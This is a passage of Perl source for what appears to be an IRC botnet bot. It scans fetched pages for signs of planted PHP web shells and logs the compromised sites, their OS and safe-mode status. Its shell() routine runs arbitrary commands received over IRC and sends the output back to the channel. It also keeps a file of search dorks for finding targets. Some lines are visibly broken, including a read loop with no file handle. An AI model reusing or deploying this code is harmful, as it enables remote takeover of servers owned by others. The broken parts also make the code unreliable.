(.*?)<\/b>/i) {$safe = $2;}
if ($check =~ m/Cwd:<\/span><\/td>| (.*?)?<\/nobr>/i) {$os = $1;}
if ($safe =~ m/ON/i) { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} elsif ($check =~ m/post\>Password:/ig or $check =~ m/name\=\"pass\"/ig) {
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
} elsif ($check =~ m/Shell/ig or $check =~ m/Pengguna/ig) {
$safe = "3OFF";$os = '';
if ($check =~ /Sistem : (.*?)<\/b>/){$os=$1;}
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} else {
if($check =~ m/\[uname\]/ig) {
$safe = '';$os = '';
if ($check =~ m/\[uname\](.*?)\[\/uname\]/i){$os=$1;}
if ($check =~ m/Safe Mode = (.*?)>/i) {$safe = $1;}
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
}
}
}
}
}
$key++;
}
return @result;
}
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 3; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub checkPrivacy {
my $nick = shift;
my $out = 0;
if($privscan and !&isAdmin($nick)) {
$out = 1;
}
return $out;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub read_dorks() {
my $dork = uri_escape($_[0]);
my $file = "dorks.txt";
my $success = 0;
open (file,"<$file");
while (my $dorkx=) {
chop($dorkx);
if ($dorkx =~ /$dork/){
$success = 1;
}
}
close file;
return $success;
}
sub write_dorks() {
my $dorks = uri_escape($_[0]);
my $file = "dorks.txt";
open (filex,">>$file");
print filex $dorks."\n";
close filex;
}
|